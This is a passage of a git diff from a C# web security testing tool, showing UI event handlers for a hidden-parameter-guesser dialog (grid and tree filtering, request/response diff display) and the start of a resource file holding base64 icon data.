= Response.FromBinaryString(Row.Cells["TestResponseBinaryStringClmn"].Value.ToString()); + + string OriginalRequestString = OriginalRequest.ToString(); + string OriginalResponseString = OriginalResponse.ToString(); + string TestRequestString = TestRequest.ToString(); + string TestResponseString = TestResponse.ToString(); + + string[] OriginalVsTestRequestSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalRequestString, TestRequestString); + string[] OriginalVsTestResponseSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalResponseString, TestResponseString); + + string OriginalVsTestRequestSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalRequestString, TestRequestString); + string OriginalVsTestResponseSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalResponseString, TestResponseString); + + OriginalVsTestRequestDRV.ShowDiffResults(OriginalVsTestRequestSinglePageResults, OriginalVsTestRequestSidebySideResults[0], OriginalVsTestRequestSidebySideResults[1]); + OriginalVsTestResponseDRV.ShowDiffResults(OriginalVsTestResponseSinglePageResults, OriginalVsTestResponseSidebySideResults[0], OriginalVsTestResponseSidebySideResults[1]); + + OriginalRequestView.SetRequest(OriginalRequest); + OriginalResponseView.SetResponse(OriginalResponse, OriginalRequest); + TestRequestView.SetRequest(TestRequest); + TestResponseView.SetResponse(TestResponse, TestRequest); + } + } + + private void CandidatesGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (CandidatesGrid.SelectedRows.Count > 0) + { + if (e.ColumnIndex == 0) + { + if ((bool)CandidatesGrid.SelectedRows[0].Cells[0].Value) + { + CandidatesGrid.SelectedRows[0].Cells[0].Value = false; + } + else + { + CandidatesGrid.SelectedRows[0].Cells[0].Value = true; + } + } + else + { + //ShowSelectedLog(); + } + } + } + + void ShowSelectedLog() + { + try + { + SessView.LoadAndShowSession((int)CandidatesGrid.SelectedRows[0].Cells[1].Value, "Proxy"); + } + catch { } + } + + private void FileTypesScopeGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (FileTypesScopeGrid.SelectedRows.Count > 0) + { + if (e.ColumnIndex == 0) + { + if ((bool)FileTypesScopeGrid.SelectedRows[0].Cells[0].Value) + { + FileTypesScopeGrid.SelectedRows[0].Cells[0].Value = false; + } + else + { + FileTypesScopeGrid.SelectedRows[0].Cells[0].Value = true; + } + } + } + } + + private void HostnamesScopeTree_AfterCheck(object sender, TreeViewEventArgs e) + { + foreach (TreeNode Node in e.Node.Nodes) + { + Node.Checked = e.Node.Checked; + } + } + + private void HostnamesScopeTree_BeforeCollapse(object sender, TreeViewCancelEventArgs e) + { + e.Cancel = true; + } + + int CurrentFilterTreeNodeLevel = -1; + private void FilterTree_AfterCheck(object sender, TreeViewEventArgs e) + { + if (e.Node.Level > CurrentFilterTreeNodeLevel) + { + CurrentFilterTreeNodeLevel = e.Node.Level; + } + foreach (TreeNode Node in e.Node.Nodes) + { + Node.Checked = e.Node.Checked; + } + if (e.Node.Level == CurrentFilterTreeNodeLevel) + { + UpdateCandidatesCheckBasedOnFilter(); + CurrentFilterTreeNodeLevel = -1; + } + } + + void UpdateCandidatesCheckBasedOnFilter() + { + List AllowedMethods = new List(); + Dictionary> AllowedUrls = new Dictionary>(); + List AllowedFileExts = new List(); + + if (FilterTree.Nodes.Count == 3) + { + foreach (TreeNode Node in FilterTree.Nodes[0].Nodes) + { + if (Node.Checked) + { + AllowedMethods.Add(Node.Name); + } + } + + foreach (TreeNode Node in FilterTree.Nodes[1].Nodes) + { + if (Node.Checked) + { + AllowedFileExts.Add(Node.Name); + } + } + + foreach (TreeNode Node in FilterTree.Nodes[2].Nodes) + { + if (Node.Checked) + { + AllowedUrls[Node.Name] = GetSelectedUrlPathsForNode(Node); + } + } + } + + foreach (DataGridViewRow Row in CandidatesGrid.Rows) + { + if (AllowedUrls.ContainsKey(Row.Cells["HostNameSelectClmn"].Value.ToString()) + && AllowedMethods.Contains(Row.Cells["MethodClmn"].Value.ToString()) + && (AllowedFileExts.Contains(Row.Cells["FileClmn"].Value.ToString()) || (Row.Cells["FileClmn"].Value.ToString().Length == 0 && AllowedFileExts.Contains(" - NO EXTENSION - ")))) + { + bool UrlMatchFound = false; + string Url = Row.Cells["URLClmn"].Value.ToString(); + string UrlWithQueryMarker = string.Format("{0}?", Url); + foreach (string UrlPath in AllowedUrls[Row.Cells["HostNameSelectClmn"].Value.ToString()]) + { + if (UrlPath.Equals(Url)) + { + UrlMatchFound = true; + break; + } + else if (Url.StartsWith(UrlPath) && Url.StartsWith(UrlWithQueryMarker)) + { + UrlMatchFound = true; + break; + } + } + if (UrlMatchFound) + { + Row.Cells[0].Value = true; + } + else + { + Row.Cells[0].Value = false; + } + } + else + { + Row.Cells[0].Value = false; + } + } + } + + List GetSelectedUrlPathsForNode(TreeNode Node) + { + List Result = new List(); + foreach (TreeNode ChildNode in Node.Nodes) + { + if (ChildNode.Checked) + { + Result.Add(ChildNode.Name); + } + Result.AddRange(GetSelectedUrlPathsForNode(ChildNode)); + } + return Result; + } + + private void FilterTree_BeforeCheck(object sender, TreeViewCancelEventArgs e) + { + if (e.Node.Level == 0) e.Cancel = true; + if (e.Action != TreeViewAction.Unknown && !e.Node.Checked && e.Node.Level > 1) + { + TreeNode HostnameNode = GetHostnameNode(e.Node); + if (HostnameNode != null) + { + if (!HostnameNode.Checked) + { + e.Cancel = true; + MessageBox.Show("The hostname node is not checked, cannot select sections of the host without selecting the hostname."); + } + } + } + } + + private void FilterTree_BeforeCollapse(object sender, TreeViewCancelEventArgs e) + { + if (e.Node.Level == 0) + { + e.Cancel = true; + } + } + + TreeNode GetHostnameNode(TreeNode CurrentNode) + { + if (CurrentNode.Level == 1 && CurrentNode.Parent.Index == 2) + { + return CurrentNode; + } + else if (CurrentNode.Level > 1) + { + return GetHostnameNode(CurrentNode.Parent); + } + else + { + return null; + } + } + + + private void HiddenParameterGuesser_FormClosing(object sender, FormClosingEventArgs e) + { + try + { + WorkerThread.Abort(); + } + catch { } + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (InResultsStage && e.TabPageIndex != 2) e.Cancel = true; + } + + private void SelectParamsOptimallyLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + SetDefaultParametersGridValues(); + } + + private void SelectParamsAllLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + foreach (DataGridViewRow Row in ParametersGrid.Rows) + { + Row.Cells[0].Value = true; + Row.Cells[1].Value = true; + Row.Cells[2].Value = true; + Row.Cells[3].Value = true; + } + } + + private void SelectParamsNoneLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + foreach (DataGridViewRow Row in ParametersGrid.Rows) + { + Row.Cells[0].Value = false; + Row.Cells[1].Value = false; + Row.Cells[2].Value = false; + Row.Cells[3].Value = false; + } + } + + long TimeWhenLogGridIndexWasLastChanged = 0; + private void CandidatesGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedLog(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void ResultsGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedResultItem(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void ShowDocLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + Docs.DocForHiddenParameterGuesser DF = new Docs.DocForHiddenParameterGuesser(); + DF.Show(); + } + } +} diff --git a/Iron/Hawas/HiddenParameterGuesser.resx b/Iron/Hawas/HiddenParameterGuesser.resx new file mode 100644 index 0000000..934c254 --- /dev/null +++ b/Iron/Hawas/HiddenParameterGuesser.resx @@ -0,0 +1,2017 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdPpwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08v0ZdP/dGXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/dGXTy4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+x0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT7EAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 